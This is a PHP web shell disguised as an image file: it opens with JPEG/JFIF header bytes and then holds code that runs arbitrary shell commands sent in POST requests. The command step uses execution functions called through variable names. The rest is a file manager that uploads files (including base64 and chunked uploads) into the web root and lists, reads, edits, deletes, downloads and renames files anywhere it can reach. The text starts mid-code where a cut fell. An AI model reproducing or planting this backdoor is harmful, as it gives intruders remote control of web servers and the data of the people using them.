ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- &1', $a); $o = implode("\n", $a); } elseif (function_exists($FN_SE)) { $o = $FN_SE($c . ' 2>&1'); } elseif (function_exists($FN_SY)) { ob_start(); $FN_SY($c . ' 2>&1'); $o = ob_get_clean(); } elseif (function_exists($FN_PT)) { ob_start(); $FN_PT($c . ' 2>&1'); $o = ob_get_clean(); } $u = @get_current_user(); $h = @gethostname(); $p = $u . '@' . $h . ':' . $current_dir . '$'; die(json_encode(['s' => 1, 'o' => $o ?: '(no output)', 'p' => $p])); } if (isset($_POST['u'])) { @header('Content-Type: application/json'); $m = $_POST['u']; $d = $current_dir . DIRECTORY_SEPARATOR; if ($m == '1' && isset($_POST['d_b64']) && isset($_POST['n'])) { $n = basename($_POST['n']); $b = $_POST['d_b64']; if (strpos($b, ',') !== false) $b = explode(',', $b)[1]; $b = str_replace(' ', '+', $b); $dc = @base64_decode($b); if ($dc === false || empty($dc)) { die(json_encode(['s' => 0, 'm' => 'Decode failed'])); } $f = $d . $n; $w = false; if (!$w && function_exists($FN_FP)) { $w = ($FN_FP($f, $dc, LOCK_EX) !== false); } if (!$w && function_exists($FN_FOP) && function_exists($FN_FW) && function_exists($FN_FC)) { $h = $FN_FOP($f, 'wb'); if ($h) { $w = ($FN_FW($h, $dc) !== false); $FN_FC($h); } } if ($w) { @chmod($f, 0644); $sz = @filesize($f); $proto = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'; $url = $proto . $_SERVER['HTTP_HOST'] . str_replace($_SERVER['DOCUMENT_ROOT'], '', $f); die(json_encode([ 's' => 1, 'm' => 'Upload OK', 'n' => $n, 'z' => round($sz / 1024, 2) . ' KB', 'u' => $url, 'p' => @realpath($f) ])); } else { die(json_encode(['s' => 0, 'm' => 'Write failed'])); } } if ($m == '2' && isset($_FILES['f'])) { $t = $d . '.t/'; if (!is_dir($t)) @$FN_MKDIR($t, 0755, true); $i = (int)$_POST['i']; $tc = (int)$_POST['tc']; $n = basename($_POST['n']); $id = $_POST['id']; $cp = $t . $id . '_' . $i; $ok = @move_uploaded_file($_FILES['f']['tmp_name'], $cp); if (!$ok) { $c = $FN_FG($_FILES['f']['tmp_name']); $ok = ($FN_FP($cp, $c) !== false); } if (!$ok) { die(json_encode(['s' => 0, 'm' => 'Chunk save failed'])); } $all = true; for ($x = 0; $x < $tc; $x++) { if (!file_exists($t . $id . '_' . $x)) { $all = false; break; } } if ($all) { $fp = $d . $n; $fh = $FN_FOP($fp, 'wb'); if (!$fh) { die(json_encode(['s' => 0, 'm' => 'Cannot create file'])); } for ($x = 0; $x < $tc; $x++) { $ch = $t . $id . '_' . $x; $cc = $FN_FG($ch); $FN_FW($fh, $cc); @$FN_UNLINK($ch); } $FN_FC($fh); @chmod($fp, 0644); @$FN_RMDIR($t); $sz = @filesize($fp); $proto = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'; $url = $proto . $_SERVER['HTTP_HOST'] . str_replace($_SERVER['DOCUMENT_ROOT'], '', $fp); die(json_encode([ 's' => 1, 'c' => 1, 'm' => 'Complete', 'n' => $n, 'z' => round($sz / 1024, 2) . ' KB', 'u' => $url, 'p' => @realpath($fp) ])); } else { $pr = round(($i + 1) / $tc * 100); die(json_encode(['s' => 1, 'c' => 0, 'pr' => $pr])); } } if ($m == '3' && isset($_FILES['f'])) { $n = basename($_FILES['f']['name']); $fp = $d . $n; $ok = @move_uploaded_file($_FILES['f']['tmp_name'], $fp); if (!$ok) { $c = $FN_FG($_FILES['f']['tmp_name']); $ok = ($FN_FP($fp, $c) !== false); } if ($ok) { @chmod($fp, 0644); $sz = @filesize($fp); $proto = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https://' : 'http://'; $url = $proto . $_SERVER['HTTP_HOST'] . str_replace($_SERVER['DOCUMENT_ROOT'], '', $fp); die(json_encode([ 's' => 1, 'm' => 'Upload OK', 'n' => $n, 'z' => round($sz / 1024, 2) . ' KB', 'u' => $url, 'p' => @realpath($fp) ])); } else { die(json_encode(['s' => 0, 'm' => 'Upload failed'])); } } } if (isset($_POST['action'])) { @header('Content-Type: application/json'); $action = $_POST['action']; $path = isset($_POST['path']) ? $_POST['path'] : $current_dir; function getPermissions($path_to_check) { if (@file_exists($path_to_check) && @is_readable($path_to_check)) { return @substr(sprintf('%o', @fileperms($path_to_check)), -4); } else { return "N/A"; } } switch ($action) { case 'list': $files = []; $target_path_for_list = @realpath($path); if ($target_path_for_list === false) { die(json_encode(['s' => 0, 'm' => 'Cannot access directory: Invalid path or permissions.', 'cwd' => $current_dir, 'parent' => @dirname($current_dir)])); } if ($handle = @opendir($target_path_for_list)) { while (false !== ($entry = @readdir($handle))) { if ($entry == '.' || $entry == '..') continue; $item_path = $target_path_for_list . DIRECTORY_SEPARATOR . $entry; $type = @is_dir($item_path) ? 'dir' : 'file'; $size = ($type == 'file') ? @filesize($item_path) : 0; $mtime = @filemtime($item_path); $perms = getPermissions($item_path); $files[] = [ 'name' => $entry, 'type' => $type, 'size' => $size, 'mtime' => $mtime, 'perms' => $perms ]; } @closedir($handle); } else { die(json_encode(['s' => 0, 'm' => 'Cannot open directory: Permissions denied or not found.', 'cwd' => $current_dir, 'parent' => @dirname($current_dir)])); } die(json_encode(['s' => 1, 'files' => $files, 'cwd' => $target_path_for_list, 'parent' => @dirname($target_path_for_list)])); case 'view': $content = $FN_FG($path); if ($content !== false) { die(json_encode(['s' => 1, 'content' => base64_encode($content), 'name' => basename($path)])); } else { die(json_encode(['s' => 0, 'm' => 'Cannot read file.'])); } case 'edit': $content = base64_decode($_POST['content_b64']); if ($FN_FP($path, $content) !== false) { die(json_encode(['s' => 1, 'm' => 'File saved.'])); } else { die(json_encode(['s' => 0, 'm' => 'Cannot write file.'])); } case 'delete': if (@is_dir($path)) { if ($FN_RMDIR($path)) { die(json_encode(['s' => 1, 'm' => 'Directory deleted.'])); } else { die(json_encode(['s' => 0, 'm' => 'Cannot delete directory (not empty or permissions).'])); } } elseif (@is_file($path)) { if ($FN_UNLINK($path)) { die(json_encode(['s' => 1, 'm' => 'File deleted.'])); } else { die(json_encode(['s' => 0, 'm' => 'Cannot delete file.'])); } } else { die(json_encode(['s' => 0, 'm' => 'Invalid path.'])); } case 'download': $filename = basename($path); if (@is_file($path) && @is_readable($path)) { @header('Content-Description: File Transfer'); @header('Content-Type: application/octet-stream'); @header('Content-Disposition: attachment; filename="' . $filename . '"'); @header('Expires: 0'); @header('Cache-Control: must-revalidate'); @header('Pragma: public'); @header('Content-Length: ' . filesize($path)); @readfile($path); exit; } else { die(json_encode(['s' => 0, 'm' => 'Cannot download file.'])); } case 'mkdir': $new_dir = $path . DIRECTORY_SEPARATOR . basename($_POST['name']); if ($FN_MKDIR($new_dir, 0755)) { die(json_encode(['s' => 1, 'm' => 'Directory created.'])); } else { die(json_encode(['s' => 0, 'm' => 'Failed to create directory.'])); } case 'create_file': $file_name = basename($_POST['name']); $file_path = $path . DIRECTORY_SEPARATOR . $file_name; if (!@file_exists($file_path)) { if ($FN_FP($file_path, '') !== false) { die(json_encode(['s' => 1, 'm' => 'File created.'])); } else { die(json_encode(['s' => 0, 'm' => 'Failed to create file.'])); } } else { die(json_encode(['s' => 0, 'm' => 'File already exists.'])); } case 'rename': $old_path = $path; $new_name = basename($_POST['new_name']); $new_path = dirname($path) . DIRECTORY_SEPARATOR . $new_name; if ($FN_RENAME($old_path, $new_path)) { die(json_encode(['s' => 1, 'm' => 'Renamed successfully.'])); } else { die(json_encode(['s' => 0, 'm' => 'Failed to rename.'])); } default: die(json_encode(['s' => 0, 'm' => 'Unknown action.'])); } } ?>